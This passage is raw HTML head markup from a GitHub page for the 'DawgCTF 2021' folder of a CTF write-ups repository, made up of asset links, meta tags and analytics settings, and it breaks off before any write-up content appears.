integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6D4:785B:D5907A:E6BCED:61830709" data-pjax-transient="true"/><meta name="html-safe-nonce" content="00a5c92b50c0772b7a94b65aea3588b96df39b5501ba747ac09c3c4ab9065192" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkQ0Ojc4NUI6RDU5MDdBOkU2QkNFRDo2MTgzMDcwOSIsInZpc2l0b3JfaWQiOiI0NjcwNzEwMTgzNjU0MjYyNTM3IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="bdf9d7fa7f2070e586fefd0f9b443f48e55ca4b574b7d6eb9a6de120283b4fa4" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip 